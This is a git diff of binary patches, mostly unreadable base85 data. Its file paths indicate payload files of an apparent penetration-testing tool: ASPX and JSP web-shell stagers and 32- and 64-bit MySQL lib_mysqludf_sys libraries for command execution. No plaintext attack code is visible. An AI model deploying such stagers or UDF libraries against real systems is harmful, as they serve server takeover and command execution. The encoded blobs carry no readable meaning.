zySnnZodTng85FOA;`ZGZZPXD0nbtpj4{hA_=|~h~97W>Qsq_p&V-)TV;eB=rf`{95 z`~af}W#PKg&IuBbN?q@G1l*c@&Fx21g3gTrFE?`b*nk5aevWaTfKjK;L@mw@h-x?R zVq(y8C*(u#Kr8P!%&z#iN?jv=@h~lMYQj_UlF^-W%ld_%{#z(_bUDzsnJd1C33sQa Fxl%|wva|pI literal 359 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 PC%jb)QuLcZT&!q};muFO literal 1201 zcmV;i1Wx-s(&8kZ7LRRpHC?8Am@w}FOAQ?qjy+U2NtaeE@?VTA5gFM*NT~kx`t6HK zt(jjsYUW@8&d@u1YVAJ{po`r!vHJ#G+GI9t3Ge)<-NJpm+2G~J+6n9fKCHiiX(A7Y z5MP+hVPtLG6&`yUy@G?FCT0$^!k*lkGTfkI=+8k6xgPJ)*ZMe9&SHBON(-4Izs;a$ zKQj}?x~OJ5(Xt)Yp-wvbJ`UpGj*!UJO&dbn5a#WNSi$lXfcn4Lu2gPZmA~pUmaUxk zd3k3_xKB4f(F-I%*Z+BINflW6N^g0BDx0#`>EjPGvV%KV?gdYaCu6vKI5e3I&VSno z^E=D5@1*&y!M>E>tZB=i!;q0}$8I=b8X{4xkYF90v&yVQJRm>jiY$Fot4_1c0f`q& zh!ttd016pIno3Q{iw^)eLwbER9X+-(17mk)?7Ls8hS5CS6!M!SXaiW#b(n>L=Kl)_ zTAw3=C*$+5H{&FnNabGdGt-;`@Tx7CT+Nh-GTZMz!U0ZFIrY3 zXJ63u>oxYUNJjNp0FQ#Jt%3;Oh=jN6jy;KXj`2CRU>=2T*cNL?{;4^z-S57}5t<4} zT4q3|NP$sv+E+%r;^1-+fH}L;BiKKq3lI=l!lFte`4D1^kPuuey%&9AdpsQ~B%^Jh zM0q$JOK`VTcF}0H0a%Mq%93{E2Uw1oXAh`)OZ6!yIoXl&hd0-onb)EtZ2W@DMb5uNGI|;)^L9EPEWm(PkZ0 z)<$?w)E8`%B7txGZbjn?Ch>)G;UDKVcX;Cq@@&-3v=sL;%-;LRaGrAK3K5A#MfDDY z&fLH9<$+Ah{AlJxSfdJvWPadC#pt25zN#1bZg@pvhqk*JW!Vah`@tUiX6ZkX_C!8~ zXO+Wob6R1;zNxC98;6P=J@Eg4CleCR3xaxPid0v|s#J$f1|R|RgITeHQ`XOm3kH^W ziHBuCU4!jbZ4~@JH?Zr{TF$jOcF&RE>PCVibU(*iaDAAQ^rRp3Tfas!4K6>3DxSj> z083vi0lFQ1WV@eL21sKx^U!$_igEtR4Oue)Af9=|+ydxa(rAwsE}4vVIrT7F%l+ng zUsN&J`!@hFI1X8cXn!AFEG!uTS>svPLwtCcy#E{LI0 zL%8`dMb*X4CN!26uAcIohYwmbSWsK2Mu=6SIr%yv>YE#YN{;r;ohq}t+-t6g!_=r$qm)#O;Dd@BDWxHExYO*}Ho7>8qI5-ku* P2)RUFQPrk$W{GBu6oE>U diff --git a/data/shell/stagers/stager.aspx_ b/data/shell/stagers/stager.aspx_ index f20887a96d6fb364fd11c6e5306a1581cd1b0274..3694b2c153395368021f563a12edd6c419c099a2 100644 GIT binary patch literal 529 zcmV+s0`C1is`3UuIkI#lG>yvpoKt@kf!FWUUvg<=3*b({1Ud`fs*_MWMYH!UO#qp+ zu+GZWKzU>j)HI&dTn~RQOIt71OS8UU+)5% zHB4mSvzQqs%cSb>sR!=*21H^d$jiP6lVVap+?9GyU4SoN?WxirWp78>V=DSX^&(K- zeB!j!Jv0&ka)Po?D*b_Qcj-!Tt>ntJLERlJ)vDhUAn_Dkk94lCnssW_!Rd`8AD@0EIlH^8$Uq=NwSB(~uhG9I*WW)x4}?!Qdw0GI-ZiH(DJEF1-n zYo!`~%`rgm`@`S;HCaCdky2*GpnJ|6|&(z9_LYPRNhP9da* zitEJHILvIXl9kIAbsxm3tWe=@%3hY}vv*t^vLmF=w5NU+0!>?)e$9U?2O+-MWy%bi zO>9NMoSg`B$c5M4lOo{yeq=)g=gzNPkV9{B=CE{6C7=#|!mPt}W=?wRSr7C>jRJB1 zQ|G0DJ{2!ANT<9{Qr)0YSnOLQuEqCpijnwWXDZ;5P zCoj9^X?@g})ow?;t~fjp^kC;RS*(uurGP`Iqh()9J99EreS;x0^t|2&OkfJG4KZS) z>QqY~m0v&Ce`os~)v$DgPvDX~i-r-VCzsqS2s^rP9yD(M!Ma_%1GzuCv#5=DR6HcF zM4$^MC5!>glquy8E-o=$EQCJ{PF|cNLlS8{x%W5lZ+mt~Q)0a6iYu=i7}65aQ@$q2 z)e$n8x{Iu)o!+4RhcLl0oUUib9jE#6QSiClN<)5TN5CskCK$<(Dub&m@HmQXg8J&d z1In3b`u=|{G$0}OuJZMSGJyc!Izo+gYq+OV=kMtTyBf<`>O#}Vd#p-t+}?hbuc>5} T{WAvem4_~3JwPXMC0ZQiRQ?0i diff --git a/data/shell/stagers/stager.jsp_ b/data/shell/stagers/stager.jsp_ index beec2ae56ae396d47d2c49d20b2ffc54d9df5fac..f70ac6f9efd09a7f7f37c14d610394ffc3c8fbc1 100644 GIT binary patch literal 1321 zcmV+^1=jjKs^SC>If?=xx2!sH4sM8HRy8Kbf{Ot?B$&m~&kZp6oUpsrU}LEUredNNSWTSn~Qn&1x&6sum|p<26`@HFw3_2{sm2_Zlirp`B#!+f9qxf z$WWxBlpgU#fQWcXq$l=NXjnPv(V2Z5!Wm8+f{18qPL#HrN-6R z`PBHj4N#{3Mb$n)9a(id!$ur|LhQhghVqD5$t$BU6v^AIPeFC3Uync33*j=R`QCN^ zEYQH-fGW4Uxp1mcC`zX^57ILMWs{T;Y#J(~9&mh)HikH$SOY4Os#+?OU9+?TAt~sD z9Az@)QnY7DIoif=K>UR2E!Ox?5LNCbLo9ccq;K%uvmMnq42usm^F2aHZ zq|&nmK`_-|FY$@eewg{!F`C@ezd&O9iOtp*OT*-u)2m&xPkW(6+#o3lq8~_N8q&)s zdi812ngk~Aetrj1N(|Xld#7jbI3#(|zwBEv%{U*h`9APgf@n`xNaH=T8v{5UYBh}o zoBxWV;_$WO$$Wgtbj9gE^=-Q%Y`MY=lS9c)7opXv%nCOx=@o{pAQU{*Jaoru4Uvb* z(UWGBefTjv9XLqT2&h$1!bs%dBHv*fBl6z|gswzxNYZq1m#ekzC@it-Nin zJeN2y^juq`@90tqK;g$mleE(~Fs!D4W69{%d|yRSI1BnZs?{(fTJdQR4V?zu$~yP(q%Y*vsnQ9U=Cg~p4T*Ae*iP>Z1<4#V z&7^|LLyf_bkSD)I%8Jr4C4gwN%34CLm*dmLAg(b{UT4*p?iY2;IamdHZ5M&Qxv0!HD`>Zs)i3|#Sk^-*sm=Gfw_NOt_=0doKRgE;9|6k@GBpAu7mXz3LQ){s|bAUAjW7hvD@Yco7ACDe#)Dv3mb2 z-KL2*QSkH74nzL#%b3;8?~XE9;vgD=jnBzz?L)c|hbb}~)I#dq(Ogm340^?56S(Wk zXQX_Rf;-=+kc$R$_`flq&KFh5cSWwOJ}S6Msy9{KlOKjYL2NKZQrP@rExCls&m|u# zN}J+G$GN71RbBVebG9TIPvabBQ@J8Wm+ZJ{a6{oW4US;o#0I))IUYm&@zU!WV;Ut= zXL1nSaX%a8YV>At)x3j1C?ee=N@DVyizg!ZzsCUD%BArn(WjFC-Jc$ov5*A#%)T;^W}Ic#(YDU#PVlI8-9i*-h?AQz literal 1321 zcmV+^1=jjK(!wP!7LOBkw2cQqG)snIE)@sqt&R|AC%O3J^(a30VnllYr4EBa_=D5%kb_6KGHg-*mPI(n39mf-RAW9 z*3s$j4sn~zfABCsWqDK@>_ZLILCyWWyw`?Uu?vC`JIu=XOkhZrWvVgMbHNjb*4t#N zFY*2Cx(~U#!BC5E2T!(P4D${%U$&YM6gmrnF?DU*HKzrVVkRV#(s~QBa<-*cA_&#C zCO|ypDwIZO7T?!8L*2R97xVJ7rY|mNas^@kVSK@itOtpapvlotBZV+V1BR>-vJamm^wycV)E(< zRq%L+nI#+DL|X|`GA#IYRHAmeI|W4Jg~?ShwHQ8;);r+?fk|>?a>g^WVtpC|IHbh?&npTa(=dpwSTr5=6LHo*4zRlW z>$Yf=1>G$v6Jc;h2kPCc$HfIEyP-a;s=jI>G&A(7WYk$;wM}JzZb7poAze2F3E$Gd z?+2t2SBvr|z8qeRv_Ej|+WR7P=rnvU$c`kn#czqWF)Nt9k6O)tpR^ z6Ot)q_kCuO)y-T9IK>FWp0_wa{0#6HVv=~_^v0)dxqI{m3;zD(Ao#8~h{JN>pU<&k z5FPKD%-cb;%;ewE7~_=ys%(z~aHNMI7&|l8ys^S2Sep=%(VMc};csG*F!umjek+fxw16L2_x#VDH@FDgvKrRWiz@Yis`E6e+?Iv6b*ah> z{_#IVRQue{cyP^FTM+PdoWqAS4vj?)@*)fR9YZo$|Gmn*cDG2daC1~Gpl;4BD$EUG z&V|4Dd8p5l=m(x;<&VQ;CZSb<@PACL@5A!s533*?btb&%%2eUeE-&vcNy331mg2ab zRrKePa^{7nabm>6?KVjM1APm66*r)tmaW}lC`pQ^?+WqcAogMjhREjZw0+U9b5yMm zxR||5(*}$KLdPpdXSxmW5(Nn}Q3Oo)yo&1DOL2`po>=mp4X zl9*Wj(Lx;W0}kK!0X7`MlF|{g8xO`}#mY6N(F_T}UYmcOy~O(%05K$72K9^hvRlF# z=YxkgDbUjKAx7`J$hqkM)vG*MngBbaqRQAl?qY`{y$n1YtYXXk{#ihc4_o+ADV^oZ zAB0`Atv=5Eld3yG!kRyywl{R>SU|t|Jqv|+kP=(m>p!O-ZfPM9QTf487o3X9w*@{5 zWuEgA#F(40Z+Q9A3zh{qVCD@oP?#Tdt;x1&2xGt$B8zdg$0vtd13OLpiSo)jOdm7{ zWK%8fOBxmC64Xaf`ni%7D+AyVa7X-{^9KXjkirp<$%M=n>w=vBrGnLE?W+ed@7ZXd fxN%#s$*?8ayyCeHqePw@<#0fhcNs_MXvJ?aE3kDZbfbpYE3h4q&L|GkVDA@0n$r~{7qJ$P=d%MWN$wz(^g zILr5)N|Y$-7eXW~X~1wcmCo5&0fsFrt3R9s!)qpqjK-9uP(uKvZsJ|A zLi=RdK_8t)@hyQB+B;Ns3rwoh8K)Ang%T+e<+O~&Gea0oYt0XdrY2lwwp>=XMOo1c zZH@?Q%+i;4TrDixZI5q4LwamY*JH+?+moGJJoTj-)E+8Y5OQSX)sA(=0fhcN(#qki67LmxjJ&TVPbJj{{nfT3(72sVBG2)Pk|u!pMOaUapGPDYe1oN`oWr@pOoj4#uTE&zbQGk`xRQzLFKxKNh^-(F3cI>!T*{_)C1%qP?O8P%)uz97~_3?%}s< zQ8=&?0<(14l02Oc%_`d#I7c;kYT-=;uj|)Yd8P~sggT8;z)Bmtw&R+mC}SanLFY{6 zLE2gCdpeUwi4CAM^*%)-2yK_)BZ3^W{W1tM%CVi0Fk&TqQRo4Q-UfX~nOR5TMtJNw zSE~kVwDPuAb0|HJZmv>rd0%2puS4g)^p=bcKh&5g?mHw}Xi`PR`io?c=lbVXXRd^+ z;(esJB1EL4{}J+k2b`hr+*07+nN>&WRSlU4R^xjMmY{4fbAsu;VH7S_NUsw!iR;s` Z8z!7!J>jx`0L^MCgcd!IuX>kspqWw0w@Ls2 diff --git a/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ index f401c80040626b5e8046702e7e1c0e7658646aa6..bfd4440ba5feda2c2dac8059ba903b35138bafa5 100644 GIT binary patch literal 2512 zcmV;>2`~0Ns+tNPIy;jk_B4BkAPcPFmwGv9*{6o|vQGv}k% zyZhx4h*ipO%hS`n+Bm%F)dZbi=@W|yzTcj<*RGeprn)o%kIzI-VTbNpGD7zJs-XP< zbbFj)f5kBIb=`HQlj}6Xwh9>EgVSbdH3xa@=z0F2!^>s%K(}X;%2?p28o0r?d2YTU zze9mT(^#T=J=xM4Pnjl=ECPMW0fuKpM0KBK>~Aa)nQpfNQR_f0fU+c%m)KG;G(!zi zxm)UwN_l~i6RszY!jpZTh~AC8?pp8R==inhrexfwXaDmB!7a8x9Wi8X54>%c#)@l^ zD(+!YuDhcwOa&1vl=B|u1bw0KaT9~ychk9z7B#E(#b};+~k0a zl9j{n0Ub&{7BD%G?FdMjtDA*~gPobMx;(wEd5AC!>WjgSHr`&~-}&Y_Q~78xv6Zp- z@_jiSyfB?s@SVY<1%o?4pt>xktNg*n!P$BXf77v&rtg=kSU3)O`;RFc(TwY(HDvBk z(JO}}r?H1fspXE#q+Xg~T;C_AM0lH-{+C7azR{Ulp!`F+OSO$gs}tbA+O9{w3)SV- z2r|DN8k)D%h9+y9kvwt<+afp}#hg!hcS0XR`j1N z<)-KlY%Y6^h~?({zJk+^_FQ z2Ey4)l|IU$gSW*wrb7geLby5(o1P=PezyfVrsD+rtdBOEpP;0EfQy6+V@wQOyU zMib8Nz*6`T(<=AilUMhMC7y)4e4NuV zl%I^RS-tH$@YK0L@@(5(ACzFhmQr$wQJ7DBSn%Hsc^XW`Q7}EwHw8r7}kskijYGJ}zAlo6Tclrys{&-w`FS~xU31zKyBpCE5>P0%V zNx=LH6!06IS7eHO5xG{22o_QVI73r5-t%OHV8$09gM>^da=)^=<94WvO%IUZ%E2pH zjNhE9wx-@mO1*o;UyA3(OR;&nj!>nLz9IR8dIDO`Vb~H;wQTyOY3RyL=ufwD0}~8j zrwAJ-J?!ZFXZs^tDCIxcVClk2oDevG+6n+2qE1;??B;)86Y1wMlP_<%8EhySiuTGY zBJEBglX525NT%KK76z6<+-;NE>wcL7e9jMlI7l z9oyXxvRj}Zo3!{RO#6rL7#P)B_!)=oh2Q!D{!!N$Ue5d%-Lhg_JkRLxtA+naESdhO1k*Tz> zfU%Jh2`pu&8R`^nRwVwq*L_-zmrL|dz2B_@>)EHcT>?S6^pj*>&n?&6y=Nj@Vv$k= zAo9PFvSIA}VR^jcQy7=q$%B=*X9zvEQya(^L{&&G)~<7f1BZ5_kg2slEk>dW&dQFc z>Y${3bYjw|>xPBj2c+&OYru%E=IqZH`&+R$l+(K#3&h@(U1}(o@uvlqhq&ND@3mZF z(*I0#qNPUXeI!Na7lwp~fDODyv&$_o^6wOZwP^r6D;fnen|qN2A~&s%@{@7aUnP`L zvKnf08v&nvVZB0oN=iH7&~Lw{i8#q9M>Nn}-0P-E4kY`!jxfVMMPCWOdM9=z<%7gk z)LG}F>9c)`~~pR?T;^ZVWOz* zuhayKu1p7-QiHpArp08>S~`@Z^Y#+ zR4IjbXp4==iy~Ck#;CfAwc7jP4W9+znzfoE8aT(_!cOGmk46`g*G6S^S%q%0;fet8(>>XAw^am==0Dtk zGL*~jPCO=pRrMJw7aHb==!r~p(GeQNp2>2F3)2h~Z3c2tSjAk*9h-zO0JSn`iZ3Z4 z&U@*11HNL_8Et6se! zsNT=#>g#yawsP!G)xlj9`0Zz=t-`75Q$H8U7Opfz*fr~k5jda%FMwsdNeb^0b%^^A{fsj78K z0IVI45=e7jpE#bEDXDAn%DcXEv&>+`0%I5eD68RgO2!u!th0&)4VcFAx?f$4a`V33 aLNlrx4cyOCZk-+Wv(^P^IK5*JM1|Yn$@`}O literal 2512 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 aK@yiKH~GO*7QH;zoYNFMJDgrUexTLbRQl5Z diff --git a/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ index f442d1f14de078a180462da4ecfdc9254eeb739a..1992ed0347e32a3090e4b5804bea5bb48c9a2772 100644 GIT binary patch literal 3200 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 